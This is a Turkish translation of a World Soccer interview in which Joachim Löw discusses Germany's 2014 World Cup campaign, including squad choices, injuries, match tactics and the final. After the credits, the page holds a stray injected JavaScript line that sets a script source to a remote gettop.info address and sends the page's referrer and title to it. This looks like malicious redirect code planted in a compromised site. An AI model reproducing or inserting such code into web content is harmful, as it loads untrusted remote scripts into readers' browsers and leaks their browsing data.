Joachim Löw Röportajı

“Şu an dünyanın en iyisiyiz ama önemli olan burada kalabilmek, daha da iyi olabilmek.”

Almanya’ya kupayı kazandıran Löw geçtiğimiz yaz Brezilya’da yaşanan zaferi anlattı.

Geçen senenin başlarında ekibinizle 3 günlük kapsamlı bir toplantı yaptınız. Bunun size ne gibi bir getirisi oldu?

O sıralarda Dünya Kupası artık şekilleniyordu. Gruptaki rakiplerimizle ilgili planlar yapma ve antrenmanları konuşma fırsatımız oldu. Kendimize bir sürü sorular sorduk. Stratejimiz ne? Turnuva öncesi hazırlıklar nasıl olmalı? Hangi oyuncular beklentimizi karşılayabilir?”

Beklentileri karşılama kısmında hangi faktörler sizin için çok çok önemliydi?

“Süphesiz en belirleyici kriter performans potansiyeli olan oyuncular olmalarıydı. Ama geçmiş turnuvalarda da görüldüğü gibi düşünülmesi gereken bir çok faktör var. Doğru karakterleri bir araya getirmek önemli.”

Oyunculardan karakteristik özellikler olarak ne bekliyordunuz?

“Takım uyumuna sahip olmalarını, takımla bir bütün olmalarını ve sürekli iletişim halinde olmalarını. Sorumluluk almak isteyenler disiplinli ve hırslı olurlar. Her maç, yedek kulübesindekilerden her an hazır olmalarını istedim. Ayrıca takımdaki daha tecrübeli oyuncuların baskıyı hissetmeleri için Erik Durm ve Matthias Ginter gibi genç oyuncuları da kadroya dahil ettim.”

Başlangıçta listenizde kaç kişilik bir oyuncu grubu vardı?

“Ocak’ta, 30 kişilik bir listemiz vardı ama mesela Kramer ilkten listemizde değildi. Sezonun ikinci yarısında ona odaklanmaya başladık.”

Sami Khedira’nın 2013 sonbaharındaki çapraz bağ sakatlığına rağmen ona son ana kadar kapıları açık tuttunuz. Sebebi nedir?

“O, bizim için çok değerli bir oyuncu ve ona bir şans vermeye hazırdım. Sami’nin o zamana kadar iyileşmek için her şeyi yapacağını ve iyileşmeye konsantre olacağını biliyordum. Güçlü mentalitesi ve kazanma arzusu ile takımımız için bir çok yönden önemli bir oyuncu.”

Gruptaki Amerika Birleşik Devletleri maçından sonra o maçta kulübede olan Khedira açık açık daha hızlı bir oyun stili arzuladığını belirtmişti. Bunu yapmalı mıydı sizce?

“Sami ile bu konu üzerinde turnuvaya hazırlık süresinde konuşmuştuk. Ben onun fikirlerini biliyordum o da benim. Bence bir problem olmadı.”

Sakatlıktan dönen Khedira ve Schweinsteiger turnuvanın başlarında 11’in dışında kalmaktan memnun olmamışlardır herhalde…

“Brezilyadaki zorlu koşulları futbolculardan daha iyi biliyordum. Bu iki oyuncu da başlarda yüksek performans verecek gibi değillerdi. Bu durumda bir görev paylaşımı olması gerekiyordu.”

Her ikisi de kararınızı kabullendi mi?

“Avusturyadaki Dünya Kupası hazırlıklarımız sırasında ikisine de orta sahada pas ve organizasyon konusundaki yetenekleri sayesinde Philip Lahm’ın da anahtar oyuncu olabileceğinden bahsettim. Khedira ve Schweinsteiger durumundaki oyuncuların başka düşünceleri olabileceğini son derece normal karşılıyorum. Hazır olduklarını düşünüyorlardı ama sonuç olarak kararı antrenör vermek zorunda.”

Dünya Kupası hazırlıkları için Avusturya’da yapılan kampta bir sürü sakatlık durumu vardı. Hatta bir reklam çekiminde bile bir kaza yaşandı. Bu durumda şüheleriniz oldu mu?

“Hayır. Kampın başından itibaren oyuncuların mentalitesi hep doğruydu. Bir adım daha ileriye gitmek için çok çalışmak istiyorlardı. Stratejimiz ve oyunla ilgili fikirlerimiz hep aynıydı ve daha önceki başarısızlıklarımızdan dersler çıkardık.”

Sonra Reus’un ciddi sakatlığı oldu ve kadrodan çıkarıldı. Bir teknik adam bu durumla nasıl başa çıkar?

“Bu hepimiz için ve özellikle de Marco için çok üzücüydü. Çok iyi bir Dünya Kupası çıkaracağından emindim. Ama bunu için çok da fazla kafa yoramazdım. Benim işim çözüm bulmaktı. Müller, Götze ve Schürrle gibi oyuncularla yeterli hücum alternatiflerimiz olduğunu düşünüyordum ve bu yüzden savunmaya başka bir alternatif olarak Mustafi’yi aldım. Bir turnuva öncesi böyle durumlara yabancı değilim aslında. 2010’da Güney Afrikadaki Dünya Kupası öncesi de Ballack’ta böyle bir durum olmuştu.”

2014 Dünya Kupası sizin Almanya Milli Takım Teknik Direktörü olarak dördüncü kez finallere kalışınızdı. Liderlik tarzınız değişti mi?

“Birçok tecrübe ediniyorsunuz ve aslında daha önceden karşılaştığınız durumlarla karşılaşıyorsunuz. Bu, belli zamanlarda Brezilya’da çok önemliydi. Oyuncuların 2014’te önceki turnuvalara göre daha fazla veya daha az özgürlüğü vardı gibi bir şey söyleyemeyeceğim. Oyuncuları ful konsantrasyonda tutmak ya da onlara biraz izin vermek konusunda karar verirken hep durumlara göre davranmışımdır. Stres ve rahatlama arasındaki denge bir turnuvada hayati önem taşır ve Campo Bahia (Almanya için özel tasarlanan antrenman tesisi) ile bunu çok iyi dengeledik.”

2-1’lik Cezayir galibiyeti kupayı kazanma yolunda dönüm noktası olmuştur diyebilir miyiz?

“Sert,katı ve garip rakiplerle karşılaşıyorduk ve bazen de normalin altında performans sergiliyorduk. Ama zar zor da olsa zafere ulaştık. Geçmişte, mesela 2012 Avrupa Şampiyonası Yarı Finali’nde İtalya’ya karşı bunu yapamadık. Bu anlamda Cezayir maçı bizim için önemliydi.”

Peki neden çeyrek finalde Fransa maçı için birçok değişiklik yaptınız?

“Birincisi, yeni bir dürtüye,canlanmaya ihtiyacımız vardı. İkincisi, Fransa çok uyumlu ve kompakt bir takımdı. Sadece kanatlarda boşluklar bulabilirdik. O yüzden Lahm’ı sağ beke aldık. Defansın merkezinde Boateng ve Hummels bize güven verirken Lahm da ileri gitmede yardım edecekti.”

Boateng’in her yönüyle gelişme göstermesini nasıl değerlendiriyorsunuz?

“Son birkaç yılda Jerome çok büyük mesafe katetti. İnanılmaz bir süreklilikle oynuyor , sağ ve sol kanada attığı toplar olağanüstü. Finalde Hummels ile birlikte muhteşemdi.”

Neden Dünya Kupası’na dört kişiden oluşan bir savunma hattıyla başladınız?

“Çeşitli sebepleri vardı: Sakatlıklar,iklim,maç saatleri,turnuvanın durumu. Bu dizilişle geride çok istikrarlıydık ve takımdaki 5-6 çok iyi hücumcuyla birlikte her zaman 1-2 gol atabilecek kapasitedeydik.”

Yarı finalde Brezilya’ya karşı ilk devreyi 5-0 önde kapattınız. Takıma devre arasında ne söylediniz?

“Artık maçı kazandığımız çok açıktı. Rakip adeta şoktaydı. Tüm söyleyebileceğim aynı şekilde devam etmeleriydi. Ciddiliğinizi ve konsantrasyonunuzu koruyun tevazu ile basit bir oyun oynayın.”

Takımın çift haneli skorlara ulaşmasına engel mi oldunuz?

“Hayır, sadece kendi oyun anlayışımıza ve taktiksel plana bağlı kalmalarını söyledim.”

Soyunma odasındaki atmosfer nasıldı?

“Aşırı bir mutluluk,coşku yoktu. Benim için önemli olan maçtan sonra kamptaki havaydı.”

Neden?

2010’da İngiltere’i 4-1 ve Arjantin’i 4-0 yendikten sonra sevinçten havalara uçuyorduk ve belki de bu durum İspanya’ya kaybettiğimiz yarı final maçı öncesi çok uzun sürmüştü. Belo Horizonte’te ise durum bambaşkaydı. O akşam oyuncular bu yolculuğun bitmediğini çok iyi biliyorlardı. Bu beni sonuna kadar gitmeye hazır olduğumuza inandırdı.”

Schürrle’nin ortasında Götze’nin volesi maçı kazandırdı. Finalde yaptığınız değişiklikler fark yarattı…

“Maçtan önce ileride Klose ile mi yoksa Götze ile mi başlama konusunda bayağı düşündüm. Klose, Arjantinlilerin inanılmaz saygı duydukları bir isim. Götze gibi bir oyuncunun sonradan girmesi durumunda daha etkili olacağını düşündüm. Kararım da bu yöndeydi. Yorulana kadar Klose ve daha sonra belirleyici anlarda skor üretebilecek bir isim olan Götze.”

Şimdi geriye dönüp baktığınızda Mesut’a hep güvenmenizin doğru olduğunu düşünüyor musunuz?

“Mesut, 2010’dan beri takımın ayrılmaz bir parçası. Oyunu bir pasla değiştirebilir ve müthiş bir potansiyeli var. Bu yetenekte oyuncu nadir bulunur. Hala çok hırslı olduğunu ve 2015’te tekrar formunun zirvesinde olacağını biliyorum. İngiltere liginde fiziksel açıdan yoğun geçen bir sezondan sonra Brezilya’daki Dünya Kupası onun için kolay değildi.”

Ne tür taktiksel değişiklikler yolda diyebiliriz?

“3’lü savunma hattı olabilir. Aynı zamanda çift forvete dönüş. Hepsi pazılın bir parçası ve resmin ortaya çıkması için onları uyum içinde bir araya getirmek gerekir. Oyun içinde bir sistemden diğerine geçişte daha esnek ve becerikli olmalıyız.”

Kontratınız 2016’da sonra eriyor. Dünya Kupası kazanan bir teknik adam için artık ne kalmış olabilir?

“Bu konuyu hiç düşünmedim açıkçası. Ama kulüp bazında antrenörlüğe dönebilirim. Neden olmasın? Ya da ne zaman? Bilmiyorum. İki yılda bir turnuva döngüsüne çok alıştım.

 

World Soccer
Röportaj : Oliver Hartmann
Çeviri : Serhat Bora
s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

adet yorum. Siz de yorumunuzu aşağı yazabilirsiniz.

Yazar: Futbol Akademi

info@futbolakademi.net

Paylaş